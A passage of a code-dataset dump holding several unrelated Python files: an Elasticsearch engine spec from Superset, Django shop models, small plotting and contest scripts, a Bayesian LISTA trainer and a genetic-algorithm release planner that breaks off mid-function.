= int(f.readline())\n\n for _ in range(num_samples):\n label, index = f.readline().split()\n fold.append((arranged_dataset[label][int(index) - 1], label))\n\n return folds\n\n\ndef cross_validate(model: TrainableModel) -> float:\n\n def skip_nth(target: List[List[Any]], n: int) -> Iterator[Any]:\n return chain(*(target[:n] + target[n+1:]))\n\n folds = load_folds()\n accuracy = []\n\n for skip in range(len(folds)):\n model.train(list(skip_nth(folds, skip)))\n\n recognized = 0\n\n for image, label in folds[skip]:\n if model.get_label(image) == label:\n recognized += 1\n\n accuracy.append(recognized / len(folds[skip]))\n\n return sum(accuracy) / len(accuracy)\n","repo_name":"vsmaxim/face-recognition-benchmarks","sub_path":"face_recognition_benchmarks/datasets/lfw/lfw_cross_validation.py","file_name":"lfw_cross_validation.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25166331565","text":"import logging\nfrom datetime import datetime\nfrom typing import Any, Optional\n\nfrom packaging.version import Version\nfrom sqlalchemy import types\n\nfrom superset.constants import TimeGrain\nfrom superset.db_engine_specs.base import BaseEngineSpec\nfrom superset.db_engine_specs.exceptions import (\n SupersetDBAPIDatabaseError,\n SupersetDBAPIOperationalError,\n SupersetDBAPIProgrammingError,\n)\n\nlogger = logging.getLogger()\n\n\nclass ElasticSearchEngineSpec(BaseEngineSpec): # pylint: disable=abstract-method\n engine = \"elasticsearch\"\n engine_name = \"ElasticSearch (SQL API)\"\n time_groupby_inline = True\n allows_joins = False\n allows_subqueries = True\n allows_sql_comments = False\n\n _date_trunc_functions = {\n \"DATETIME\": \"DATE_TRUNC\",\n }\n\n _time_grain_expressions = {\n None: \"{col}\",\n TimeGrain.SECOND: \"{func}('second', {col})\",\n TimeGrain.MINUTE: \"{func}('minute', {col})\",\n TimeGrain.HOUR: \"{func}('hour', {col})\",\n TimeGrain.DAY: \"{func}('day', {col})\",\n TimeGrain.WEEK: \"{func}('week', {col})\",\n TimeGrain.MONTH: \"{func}('month', {col})\",\n TimeGrain.YEAR: \"{func}('year', {col})\",\n }\n\n type_code_map: dict[int, str] = {} # loaded from get_datatype only if needed\n\n @classmethod\n def get_dbapi_exception_mapping(cls) -> dict[type[Exception], type[Exception]]:\n # pylint: disable=import-error,import-outside-toplevel\n import es.exceptions as es_exceptions\n\n return {\n es_exceptions.DatabaseError: SupersetDBAPIDatabaseError,\n es_exceptions.OperationalError: SupersetDBAPIOperationalError,\n es_exceptions.ProgrammingError: SupersetDBAPIProgrammingError,\n }\n\n @classmethod\n def convert_dttm(\n cls, target_type: str, dttm: datetime, db_extra: Optional[dict[str, Any]] = None\n ) -> Optional[str]:\n db_extra = db_extra or {}\n\n sqla_type = cls.get_sqla_column_type(target_type)\n\n if isinstance(sqla_type, types.DateTime):\n es_version = db_extra.get(\"version\")\n # The elasticsearch CAST function does not take effect for the time zone\n # setting. In elasticsearch7.8 and above, we can use the DATETIME_PARSE\n # function to solve this problem.\n supports_dttm_parse = False\n try:\n if es_version:\n supports_dttm_parse = Version(es_version) >= Version(\"7.8\")\n except Exception as ex: # pylint: disable=broad-except\n logger.error(\"Unexpected error while convert es_version\", exc_info=True)\n logger.exception(ex)\n\n if supports_dttm_parse:\n datetime_formatted = dttm.isoformat(sep=\" \", timespec=\"seconds\")\n return (\n f\"\"\"DATETIME_PARSE('{datetime_formatted}', 'yyyy-MM-dd HH:mm:ss')\"\"\"\n )\n\n return f\"\"\"CAST('{dttm.isoformat(timespec=\"seconds\")}' AS DATETIME)\"\"\"\n\n return None\n\n\nclass OpenDistroEngineSpec(BaseEngineSpec): # pylint: disable=abstract-method\n time_groupby_inline = True\n allows_joins = False\n allows_subqueries = True\n allows_sql_comments = False\n\n _time_grain_expressions = {\n None: \"{col}\",\n TimeGrain.SECOND: \"date_format({col}, 'yyyy-MM-dd HH:mm:ss.000')\",\n TimeGrain.MINUTE: \"date_format({col}, 'yyyy-MM-dd HH:mm:00.000')\",\n TimeGrain.HOUR: \"date_format({col}, 'yyyy-MM-dd HH:00:00.000')\",\n TimeGrain.DAY: \"date_format({col}, 'yyyy-MM-dd 00:00:00.000')\",\n TimeGrain.MONTH: \"date_format({col}, 'yyyy-MM-01 00:00:00.000')\",\n TimeGrain.YEAR: \"date_format({col}, 'yyyy-01-01 00:00:00.000')\",\n }\n\n engine = \"odelasticsearch\"\n engine_name = \"ElasticSearch (OpenDistro SQL)\"\n\n @classmethod\n def convert_dttm(\n cls, target_type: str, dttm: datetime, db_extra: Optional[dict[str, Any]] = None\n ) -> Optional[str]:\n sqla_type = cls.get_sqla_column_type(target_type)\n\n if isinstance(sqla_type, types.DateTime):\n return f\"\"\"'{dttm.isoformat(timespec=\"seconds\")}'\"\"\"\n return None\n\n @staticmethod\n def _mutate_label(label: str) -> str:\n return label.replace(\".\", \"_\")\n","repo_name":"apache/superset","sub_path":"superset/db_engine_specs/elasticsearch.py","file_name":"elasticsearch.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","stars":55269,"dataset":"github-code","pt":"61"} +{"seq_id":"33248869651","text":"from django.db import models\nfrom utilisateurs.models import Account\nimport statistics\n\nclass Category(models.Model):\n\tname = models.CharField(max_length=200)\n\n\tdef __str__(self):\n\t\treturn self.name\n\nclass Product(models.Model):\n\ttitle = models.CharField(max_length=2000)\n\tdescription = models.CharField(max_length=30000)\n\tprice = models.FloatField()\n\tquantity = models.IntegerField(default=0, null=True)\n\tis_hide = models.BooleanField(default=False)\n\tcreated = models.DateTimeField(auto_now_add=True)\n\n\tcategory = models.ForeignKey(Category, on_delete=models.CASCADE, null=False)\n\tcreator = models.ForeignKey(Account, on_delete=models.CASCADE, null=False)\n\n\tdef __str__(self):\n\t\treturn self.title\n\n\t@property\n\tdef get_images(self):\n\t\treturn self.productimage_set.all()\n\t\n\t@property\n\tdef get_image(self):\n\t\treturn self.productimage_set.all()[0]\n\t\n\t@property\n\tdef get_rating(self):\n\t\treviews = Review.objects.filter(product=self)\n\t\tratings = reviews.values_list('rating', flat=True)\n\t\treturn statistics.mean(ratings)\n\t\n\t@property\n\tdef get_UsersReview(self):\n\t\treviews = Review.objects.filter(product=self)\n\t\tuser_id = reviews.values_list('customer', flat=True).distinct()\n\t\tusers = Account.objects.filter(id__in=user_id)\n\t\treturn users\n\t\n\tdef alreadyRated(self,user):\n\t\tif user in self.get_UsersReview:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\nclass ProductImage(models.Model):\n\tproduct = models.ForeignKey(Product, on_delete=models.CASCADE, null=False)\n\timage = models.ImageField(upload_to='products', null=True, blank=True)\n\n\tdef __str__(self):\n\t\treturn self.product.title\n\n\t@property\n\tdef imageURL(self):\n\t\ttry:\n\t\t\turl = self.image.url\n\t\texcept:\n\t\t\turl = ''\n\t\treturn url\n\nclass Order(models.Model):\n\tcustomer = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True)\n\tdate_ordered = models.DateTimeField(auto_now_add=True)\n\tcomplete = models.BooleanField(default=False)\n\ttransaction_id = models.CharField(max_length=100, null=True)\n\n\tdef __str__(self):\n\t\treturn 'transaction ' + str(self.id) + str(self.date_ordered)\n\n\t@property\n\tdef get_cart_total(self):\n\t\torderitems = self.orderitem_set.all()\n\t\ttotal = sum([item.get_total for item in orderitems])\n\t\treturn total \n\n\t@property\n\tdef get_cart_items(self):\n\t\torderitems = self.orderitem_set.all()\n\t\ttotal = sum([item.quantity for item in orderitems])\n\t\treturn total \n\nclass OrderItem(models.Model):\n\tproduct = models.ForeignKey(Product, on_delete=models.CASCADE, null=True)\n\torder = models.ForeignKey(Order, on_delete=models.CASCADE, null=True)\n\tquantity = models.IntegerField(default=0, null=True, blank=True)\n\tdate_added = models.DateTimeField(auto_now_add=True)\n\n\tdef __str__(self):\n\t\treturn str(self.id)\n\n\t@property\n\tdef get_total(self):\n\t\ttotal = self.product.price * self.quantity\n\t\treturn total\n\nclass ShippingAddress(models.Model):\n\tcustomer = models.ForeignKey(Account, on_delete=models.CASCADE, null=True)\n\torder = models.ForeignKey(Order, on_delete=models.CASCADE, null=True)\n\taddress = models.CharField(max_length=200, null=False)\n\ttel = models.CharField(max_length=10, null=False)\n\tcity = models.CharField(max_length=200, null=False)\n\tstate = models.CharField(max_length=200, null=False)\n\tzipcode = models.CharField(max_length=200, null=False)\n\tdate_added = models.DateTimeField(auto_now_add=True)\n\n\tdef __str__(self):\n\t\treturn self.address\n\nclass Contact(models.Model):\n\temail = models.EmailField(max_length=60)\n\tmessage = models.CharField(max_length=6000, null=False)\n\n\tdef __str__(self):\n\t\treturn self.email\n\nclass Review(models.Model):\n\tcustomer = models.ForeignKey(Account, on_delete=models.CASCADE, null=True)\n\tproduct = models.ForeignKey(Product, on_delete=models.CASCADE, null=True)\n\trating = models.IntegerField(default=1)\n\tcomment = models.CharField(max_length=1000, null=True)\n\tdate_review = models.DateTimeField(auto_now_add=True)\n\n\tdef __str__(self):\n\t\treturn self.customer.email + ' ==> ' + self.product.title + ' : ' + str(self.rating)\n","repo_name":"Fakiri-ismail/Ecommerce-WebSite","sub_path":"ecommerce/store/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9578392131","text":"# ***************************Plot sin(x)*****************************************************\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# 设置x,y轴的数值(y=sinx)\r\nx1 = np.linspace(0, 10, 1000)\r\ny1 = np.sin(x1)\r\n\r\n# 创建绘图对象,figsize参数可以指定绘图对象的宽度和高度,单位为英寸,一英寸=80px\r\nplt.figure(figsize=(8, 4))\r\n\r\n# 在当前绘图对象中画图(x轴,y轴,给所绘制的曲线的名字,画线颜色,画线宽度)\r\nplt.plot(x1, y1, label=\"$sin(x)$\", color=\"red\", linewidth=2)\r\n\r\n# X轴的文字\r\nplt.xlabel(\"x\")\r\n\r\n# Y轴的文字\r\nplt.ylabel(\"Sin(x)\")\r\n\r\n# 图表的标题\r\nplt.title(\"Plot Sin(x)\")\r\n\r\n# Y轴的范围\r\nplt.ylim(-1.2, 1.2)\r\n\r\n# 填充颜色 http://blog.csdn.net/you_are_my_dream/article/details/53457960\r\n# plt.fill(x1, y1, 'r', alpha=0.3)\r\nplt.fill_between(x1, y1, where=(2.3 < x1) & (x1 < 4.3) | (x1 > 10), facecolor='purple')\r\n# 可以填充多次\r\nplt.fill_between(x1, y1, where=(-0.5 < y1) & (y1 < 0.5), facecolor='green')\r\n\r\n# 显示网格\r\nplt.grid(True)\r\n\r\n# 显示图示\r\nplt.legend()\r\n\r\n# 显示图\r\nplt.show()\r\n\r\n# 保存图\r\nplt.savefig(\"sinx.jpg\")\r\n","repo_name":"zx-feishang/LearningPython3-begin-","sub_path":"8 usingMatplotlib/3plotsin.py","file_name":"3plotsin.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70901059393","text":"import numpy as np\nimport tensorflow as tf\nfrom tqdm import tqdm\n\nfrom ..listapbp import prior, network\n\n\nclass PBP_lista:\n\n def __init__(self, L, D, K, X_design_matrix, mean_y_train, std_y_train, initial_lambda):\n self.D = D\n self.K = K\n\n var_targets = 1\n self.std_y_train = std_y_train\n self.mean_y_train = mean_y_train\n\n self.prior = prior.Prior(L, D, K, var_targets)\n\n params = self.prior.get_initial_params()\n\n thr_lambda = initial_lambda\n\n params['W_M'] = X_design_matrix.T / (1.01 * np.linalg.norm(X_design_matrix, 2) ** 2)\n params['S_M'] = np.identity(D) - np.matmul(params['W_M'], X_design_matrix)\n\n self.network = network.Network(params['W_M'], params['W_V'], params['S_M'], params['S_V'], thr_lambda,\n params['a'], params['b'], D, K, L)\n\n def train(self, Beta_train, y_train, n_iterations):\n for i in range(int(n_iterations)):\n self.train_iter(Beta_train, y_train)\n params = self.network.get_params()\n params = self.prior.refine_prior(params)\n self.network.set_params(params)\n\n def get_deterministic_output(self, Y_test):\n output = self.network.output_deterministic(Y_test)\n\n return output\n\n def get_predictive_omega_mean_and_variance(self, Y_test):\n\n mean = np.zeros((Y_test.shape[0], self.D))\n variance = np.zeros((Y_test.shape[0], self.D))\n omega = np.zeros((Y_test.shape[0], self.D))\n\n for i in range(Y_test.shape[0]):\n w, m, v = self.network.output_probabilistic(Y_test[i, :])\n # m = m * self.std_y_train + self.mean_y_train\n # v = v * self.std_y_train ** 2\n # print('prediction {0}\\n. w:{1}\\n, m:{2}\\n, v:{3}\\n. Input was:{4}\\n'.format(i, w, m, v, Y_test[i, :]))\n mean[i] = m\n variance[i] = v\n omega[i] = w\n\n v_noise = self.network.b.get_value() / \\\n (self.network.a.get_value() - 1) * self.std_y_train ** 2\n\n return omega, mean, variance, v_noise\n\n def train_iter(self, Beta, Y):\n\n # permutation = np.random.choice(range(Beta.shape[0]), Beta.shape[0],\n # replace=False)\n #\n # counter = 0\n # for i in permutation:\n #\n # with tf.GradientTape() as t:\n # logZ, logZ1, logZ2 = self.network.logZ_Z1_Z2(Beta[i, :], Y[i, :])\n # self.network.generate_updates(logZ, logZ1, logZ2, t)\n #\n # counter += 1\n\n with tf.GradientTape() as t:\n logZ, logZ1, logZ2 = self.network.logZ_Z1_Z2(Beta, Y)\n self.network.generate_updates(logZ, logZ1, logZ2, t)\n\n def sample_ws(self):\n\n self.network.sample_ws()\n\n def sample_mean_ws(self):\n self.network.sample_mean_ws()\n","repo_name":"danilkuzin/BayesianLISTA","sub_path":"bayesian_lista_src/tf/algorithms/listapbp/pbp.py","file_name":"pbp.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23644256991","text":"import sys \n\n\nif len(sys.argv) > 1 and sys.argv[1]: \n\tf = open(sys.argv[1])\n\ta = f.read()\n\tf.close()\nelse:\n\ta = '''4\n\t1 9\n\t10 40\n\t100 500\n\t1111 2222'''\n\nc = a.split('\\n')\n\ndef check(s):\n\te = s.split(' ')\n\tcnt = 0\n\tcntStr = '|'\n\tfor i in range(int(e[0]), int(e[1])):\n\n\t\tstring = str(i)\n\t\tfirstStr = string[0] \n\t\tisOkay = False \n\n\t\tfor k in string:\n\t\t\tif k != firstStr:\n\t\t\t\tisOkay = True\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tisOkay = False\n\t\t\tfirstStr = k\n\t\t\t\n\t\tif i > 9 and isOkay:\n\t\t\tfor j in range(1,len(string)):\n\t\t\t\tif int(e[1]) >= int(string[j:] + string[:j]) > i >= int(e[0]) and cntStr.find('|' + string + ',' + string[j:] + string[:j] + '|') == -1:\n\t\t\t\t\tcntStr += string + ',' + string[j:] + string[:j] + '|'\n\t\t\t\t\t#cntStr += string[j:] + string[:j] + '|'\n\t\t\t\t\tcnt += 1\n\t\telse:\n\t\t\tcnt = cnt\n\treturn cnt \n\nif len(sys.argv) > 2 and sys.argv[2]:\n\tw = file(sys.argv[2], 'w')\nelse:\n\tw = file('C-small-0.out', 'w')\n\nfor i in range(int(c[0])):\n\t\n\t#result = check(c[i+1])\n\tw.write('Case #%d: %d\\n' % (i+1, check(c[i+1])))\n\t#print 'Case #%d: %d\\n' % (i+1, check(c[i+1]))\n\nw.close()\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_97/1680.py","file_name":"1680.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7434489030","text":"import sys\n\ninput = sys.stdin.readline\n\nn, m, k = map(int, input().split())\n\ngraph = [[0] * (n+1) for _ in range(n+1)]\n\nfor _ in range (k) :\n start, end, cost = map(int, input().split())\n if cost > graph[start][end] :\n graph[start][end] = cost\n\n\ndp = [[0] * (n+1) for _ in range(n+1)]\n\nfor i in range(2, n+1) :\n dp[i][2] = graph[1][i]\n\nfor i in range(2, n+1):\n for j in range(3, m+1):\n for l in range(1, i):\n if graph[l][i] and dp[l][j-1]:\n dp[i][j]=max(dp[l][j-1]+graph[l][i], dp[i][j])\n \nprint(max(dp[n]))","repo_name":"jaehyun230/Baekjoon_Algorithm","sub_path":"백준/Gold/2157. 여행/여행.py","file_name":"여행.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"75001492995","text":"import math\nimport random\nimport time\nfrom textwrap import wrap\n\nimport pandas as pd\nimport numpy as np\nimport copy\n\nfrom planner import base, crossover\nfrom planner.lp import LP\n\nimport matplotlib\n\nfrom planner.util import save_model_result\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nplt.style.use('seaborn-whitegrid')\n\n\nclass GA(base.MobileReleasePlanner):\n \"\"\"Mobile Release Planning using Genetics Algorithm.\"\"\"\n\n def __init__(self, stakeholder_importance, release_relative_importance, release_duration, coupling=None,\n crossover_rate=0.1, mutation_rate=0.05, max_cycles=600, cross_type='ordered',\n select_type='fittest', population_size=50, auto_termination=False, population_percentage=0.3):\n \"\"\"\n Initialize a genetic algorithm.\n\n :type stakeholder_importance:(int, int)\n :param stakeholder_importance (tuple): Stakeholders importance.\n\n :type population_percentage: float\n :param population_percentage : Percentage of optimal solutions to observe, when auto termination is turned on.\n\n :type auto_termination: bool\n :param auto_termination : Turn on auto termination function. Termination criteria is if x% of the scored and sorted population has the same fitness score\n\n :type release_relative_importance: (float, float, float)\n :param release_relative_importance: Release relative importance.\n\n :type release_duration : int\n :param release_duration: Release duration.\n\n :type coupling: {(str, str)}\n :param coupling: Coupled features.\n\n :type crossover_rate: float\n :param crossover_rate: Crossover rate.\n\n :type mutation_rate: float\n :param mutation_rate: Mutation rate.\n\n :type max_cycles: int\n :param max_cycles: Number of iterations.\n\n :type cross_type: str\n :param cross_type: \"ordered\" or \"partially_matched\" or \"edge_recombination\"\n\n :type select_type: str\n :param select_type: \"fittest\" or \"tournament\" or \"proportionate\"\n\n :type population_size: int\n :param population_size (int): Population size.\n \"\"\"\n\n self.crossover_type = [\"ordered\", \"partially_matched\", \"edge_recombination\"]\n self.selection_type = [\"fittest\", \"tournament\", \"proportionate\"]\n if cross_type not in self.crossover_type:\n raise TypeError(\"Value types include: \", self.crossover_type)\n if select_type not in self.selection_type:\n raise TypeError(\"Value types include: \", self.selection_type)\n self.cross_type = cross_type\n self.select_type = select_type\n # seed: Initial seed solution\n # param m: Population of size\n self.seed = None\n self.m = population_size\n # param cr: Crossover Rate\n self.cr = crossover_rate\n # param mr: Mutation Rate\n self.mr = mutation_rate\n self.scored = None\n self.cycles = 0\n self.start = None\n self.end = None\n self.max_cycles = max_cycles\n self.best_per_iteration = []\n self.auto_termination = auto_termination\n self.population_percentage = population_percentage\n\n super(GA, self).__init__(stakeholder_importance, release_relative_importance, release_duration, coupling)\n self.features = self.features()\n\n def ranked(self):\n \"\"\"\n Rank scored population\n \"\"\"\n self.scored.sort(key=lambda n: n[1])\n self.scored.reverse()\n\n return self.scored\n\n def score_population(self):\n \"\"\"Return a scored and ranked copy of the population.\n\n This scores the fitness of each member of the population and returns\n the complete population as ``[(solution, score, index)]``.\n\n Raises:\n Exception: If the population is empty.\n \"\"\"\n\n if self.seed is None:\n raise Exception(\"Cannot score and rank an empty population.\")\n\n scored = [(solution, self.evaluate(solution)) for index, solution in\n enumerate(self.seed)]\n scored.sort(key=lambda n: n[1])\n scored.reverse()\n\n return scored\n\n def proportion_population(self):\n \"\"\"Return a scored and ranked copy of the population.\n\n This scores the fitness of each member of the population and returns\n the complete population as `[(member, score, weighted fitness)]`.\n \"\"\"\n\n ranked = self.score_population()\n shares = float(sum([t[1] for t in ranked]))\n\n self.scored = []\n tally = 0\n for tupl in ranked:\n if tupl[1] > 0:\n tally = tally + tupl[1] / shares\n # chromosome, score, weighted fitness\n self.scored.append((tupl[0], tupl[1], tally))\n\n def new_population(self):\n \"\"\"\n Generate a new population\n\n :return: A new population of size m\n \"\"\"\n if self.seed is None:\n self.seed = []\n for _ in range(0, self.m):\n self.seed.append(self.create())\n\n def create(self):\n \"\"\"\n The below generates a chromosome\n \"\"\"\n\n fx = copy.copy(self.features)\n lp = LP(stakeholder_importance=self.stakeholder_importance,\n release_relative_importance=self.release_relative_importance,\n release_duration=self.release_duration, coupling=self.coupling,\n highest=False, is_sorted=False)\n lp.assignment_function(fx)\n\n sorted_plan = sorted(lp.mobile_release_plan, key=lambda f: f[0])\n\n solution = self.chromosome(sorted_plan)\n\n if self.exist(solution):\n return self.create()\n else:\n return solution\n\n @staticmethod\n def chromosome(sorted_plan):\n \"\"\"\n Get a chromosome\n\n :type sorted_plan: list\n :param sorted_plan: A sorted release plan\n :returns: A chromosome\n \"\"\"\n features = []\n for release, was, key, description, effort in sorted_plan:\n features.append(key)\n return features\n\n def exist(self, solution):\n \"\"\"\n Checks if solution exists in population\n\n :type solution: list\n :param solution: A chromosome\n :returns: True or False\n \"\"\"\n for s in self.seed:\n if s == solution:\n return True\n return False\n\n def evaluate(self, solution):\n \"\"\"\n Get fitness score of chromosome\n\n :type solution: list\n :param solution: A chromosome\n :return: Provides a fitness score for a given solution\n \"\"\"\n return self.objective_function(self.get_mobile_plan_from_offspring(solution))\n\n def select_fittest(self, index=0):\n \"\"\"\n Get fittest chromosome\n\n :type index: int\n :param index: Index\n :return: Chooses based on fitness score, a parent for the crossover operation.\n \"\"\"\n return self.scored[index][0]\n\n def proportionate_select(self):\n \"\"\"Select a member of the population in a fitness-proportionate way.\"\"\"\n number = random.random()\n for ticket in self.scored:\n if number < ticket[2]:\n return ticket[0]\n\n raise Exception(\"Failed to select a parent. Begin troubleshooting by \"\n \"checking your fitness function.\")\n\n def tournament_select(self):\n \"\"\"Return the best genotype found in a random sample.\"\"\"\n sample_size = int(math.ceil(self.m * 0.2))\n tournament_size = sample_size\n\n pop = [random.choice(self.seed)\n for _ in range(0, tournament_size)]\n\n self.scored = [(geno, self.evaluate(geno)) for geno in pop]\n self.scored.sort(key=lambda n: n[1])\n self.scored.reverse()\n\n return self.scored[0][0]\n\n def select(self, index=0):\n \"\"\"\n Perform a selection (proportionate or tournament or edge fittest)\n\n :type index: int\n :param index: Index to get offspring from (applies only to fittest selection)\n :returns: Offspring\n \"\"\"\n if self.select_type == self.selection_type[2]:\n return self.proportionate_select()\n elif self.select_type == self.selection_type[1]:\n return self.tournament_select()\n else:\n return self.select_fittest(index=index)\n\n def crossover(self, parent1, parent2):\n \"\"\"\n Perform a crossover (ordered or partially matched or edge recombination)\n\n :param parent1: Parent 2\n :type parent1: list\n\n :param parent2: Parent 2\n :type parent2: list\n :returns: Offspring\n \"\"\"\n if self.cross_type == self.crossover_type[1]:\n return crossover.partially_matched(parent1, parent2)[0]\n elif self.cross_type == self.crossover_type[2]:\n return crossover.edge_recombination(parent1, parent2)[0]\n else:\n return crossover.ordered(self.keys, parent1, parent2)\n\n def mutation(self, solution):\n \"\"\"\n Performs crossover operation on chromosomes. Random swapping of items in the\n new offspring. The number of swaps is proportional to the mutation rate.\n\n :type solution: list\n :param solution: A solution\n :return: Performs mutation on solution at mutation rate mr.\n \"\"\"\n mutant = list(solution)\n changes = 0\n offset = self.mr\n\n for locus1 in range(0, len(solution)):\n if random.random() < offset:\n locus2 = locus1\n while locus2 == locus1:\n locus2 = random.randint(0, len(solution) - 1)\n\n mutant[locus1], mutant[locus2] = mutant[locus2], mutant[locus1]\n changes += 2\n offset = self.mr / changes\n\n return mutant\n\n def is_valid(self, solution):\n \"\"\"\n Check if solution meets constraints\n\n :param solution: A solution\n :type solution: list\n :return: Checks validity of solution against the user-defined constraints\n \"\"\"\n validity_check = []\n mrp = self.get_mobile_plan_from_offspring(solution)\n\n mr1 = [f_tuple for f_tuple in mrp if f_tuple[0] == 1]\n mr2 = [f_tuple for f_tuple in mrp if f_tuple[0] == 2]\n mr3 = [f_tuple for f_tuple in mrp if f_tuple[0] == 3]\n\n for couple in self.coupling:\n result = self.is_in_release(mr1, couple)\n result2 = self.is_in_release(mr1, (couple[1], couple[0]))\n validity_check.append(result)\n validity_check.append(result2)\n for couple in self.coupling:\n result = self.is_in_release(mr2, couple)\n result2 = self.is_in_release(mr2, (couple[1], couple[0]))\n validity_check.append(result)\n validity_check.append(result2)\n for couple in self.coupling:\n result = self.is_in_release(mr3, couple)\n result2 = self.is_in_release(mr3, (couple[1], couple[0]))\n validity_check.append(result)\n validity_check.append(result2)\n\n return not (False in validity_check)\n\n def is_in_release(self, mr, couple):\n \"\"\"\n Check if couples are both in the same release\n\n :param couple: Feature couple\n :type couple: tuple\n :param mr: Mobile Release Plan\n :type mr: list\n \"\"\"\n for r in mr:\n if r[2] == couple[0]:\n return self.is_feature_in_release(mr, couple[1])\n else:\n continue\n\n @staticmethod\n def is_feature_in_release(mr, feature):\n \"\"\"\n Check if feature is in a release\n\n :param feature: Feature key\n :type feature: str\n :param mr: Mobile Release Plan\n :type mr: list\n :return: True or False.\n \"\"\"\n is_present = False\n for r in mr:\n if r[2] == feature:\n is_present = True\n return is_present\n\n def get_mobile_plan_from_offspring(self, solution):\n \"\"\"\n Get mobile release plan from encoded release\n\n :param solution: Feature key\n :type solution: list\n :return: Mobile Release Plan.\n \"\"\"\n effort_release_1 = 0.0\n effort_release_2 = 0.0\n effort_release_3 = 0.0\n plan = []\n\n for key in solution:\n effort = self.effort[self.get_feature_effort_index(key)]\n if effort_release_1 <= self.release_duration and effort_release_1 + effort <= self.release_duration:\n plan.append(self.get_feature_was(1, key))\n effort_release_1 += effort\n elif effort_release_2 <= self.release_duration and effort_release_2 + effort <= self.release_duration:\n plan.append(self.get_feature_was(2, key))\n effort_release_2 += effort\n elif effort_release_3 <= self.release_duration and effort_release_3 + effort <= self.release_duration:\n plan.append(self.get_feature_was(3, key))\n effort_release_3 += effort\n else:\n plan.append(self.get_max_was([f_list for f_list in self.features if f_list[0][2] == key][0],\n add_to_release=4))\n return plan\n\n def get_feature_was(self, release, key):\n \"\"\"\n Get feature WAS\n\n :param key: Feature key\n :type key: str\n :param release: Release number\n :type release: int\n :return: WAS.\n \"\"\"\n return [f_tuple for f_tuple in self.results[release] if f_tuple[2] == key][0]\n\n def get_feature_effort_index(self, key):\n \"\"\"\n Get feature effort estimation\n\n :param key: Feature key\n :type key: str\n :return: Estimated effort to implement feature.\n \"\"\"\n return self.keys.index(key)\n\n def ga_operation(self):\n \"\"\"\n Perform selection, crossover, mutation, and validation.\n\n :return: A valid solution\n \"\"\"\n offspring_from_mr = None\n terminator = True\n while terminator:\n if self.select_type == 'fittest' or self.select_type == 'proportionate':\n self.proportion_population()\n parent1 = self.select()\n parent2 = self.select(index=1)\n if random.random() < self.cr:\n offspring = self.crossover(parent1, parent2)\n else:\n offspring = self.select()\n offspring_from_mr = self.mutation(offspring)\n if self.is_valid(offspring_from_mr):\n terminator = False\n\n self.best_per_iteration.append([self.cycles, self.scored[0][1]])\n return offspring_from_mr\n\n def cull(self):\n \"\"\"\n Cull(P) removes the (m + 1)th ranked solution from the population, P\n\n \"\"\"\n self.ranked()\n last = self.scored[-1]\n feature = last[0]\n self.seed.remove(feature)\n\n def check_termination(self):\n \"\"\"\n A Boolean function which checks if the user’s terminating conditions have been met.\n This may be when a number of optimizations have been completed,\n when there has been no change in the best fitness score over a given number of optimizations,\n a given time has elapsed or the user has interrupted the optimization.\n\n :return: True or False\n \"\"\"\n if self.auto_termination is True and len(self.scored) >= 50:\n number_of_optimal_solutions_to_observe = int(math.ceil(self.population_percentage * len(self.scored)))\n observed_sample_scores = []\n for i, s in enumerate(self.scored):\n if number_of_optimal_solutions_to_observe:\n observed_sample_scores.append(s[1])\n if len(set(observed_sample_scores)) == 1 or self.cycles > self.max_cycles:\n return True\n else:\n return False\n\n return self.cycles >= self.max_cycles\n\n def max(self):\n \"\"\"\n Get fittest solution in population\n\n :return: Solution in population P that has the highest fitness score.\n \"\"\"\n best = self.scored[0]\n for f in self.get_mobile_plan_from_offspring(best[0]):\n self.increase_effort(f[0], f[4])\n self.mobile_release_plan.append(f)\n return best\n\n def solve(self):\n \"\"\"\n Solve mobile release planning problem\n\n :return: Returns best plan.\n \"\"\"\n self.start = time.time()\n self.new_population()\n terminate_flag = False\n try:\n while not terminate_flag:\n offspring = self.ga_operation()\n score = self.evaluate(offspring)\n if not self.exist(offspring):\n self.seed.append(offspring)\n self.cull()\n terminate_flag = self.check_termination()\n self.cycles += 1\n except KeyboardInterrupt:\n pass\n self.end = time.time()\n return self.max()\n\n\ndef plot_data(x_axis_data, y_axis_data, x_axis_name, y_axis_name, title,\n select_type, cross_type, cr, mr, cycles=None, processing_time=None, fitness=None,\n scatter=False):\n \"\"\"\n Plots a graph\n\n :param processing_time: Processing time\n :type processing_time: float\n :param cycles: Number of iterations to reach optimal solution\n :type cycles: int\n :param fitness: Score\n :type fitness: float\n :param mr: Mutation rate\n :type mr: float\n :param cr: Crossover rate\n :type cr: float\n :param cross_type: Crossover strategy\n :type cross_type: str\n :param select_type: Selection strategy\n :type select_type: str\n :param scatter: Set true to use scattered plot\n :type scatter: bool\n :param x_axis_data: Data on X-Axis\n :type x_axis_data: list\n :param y_axis_data: Data on Y-Axis\n :type y_axis_data: list\n :param x_axis_name: Name of X-Axis\n :type x_axis_name: str\n :param y_axis_name: Name of Y-Axis\n :type y_axis_name: str\n :param title: Graph title\n :type title: str\n \"\"\"\n\n if cycles is not None:\n cycles = 'Iterations: ' + str(cycles) + ' '\n else:\n cycles = ''\n if processing_time is not None:\n processing_time = 'Time: ' + str(round(processing_time)) + 's '\n else:\n processing_time = ''\n if fitness is 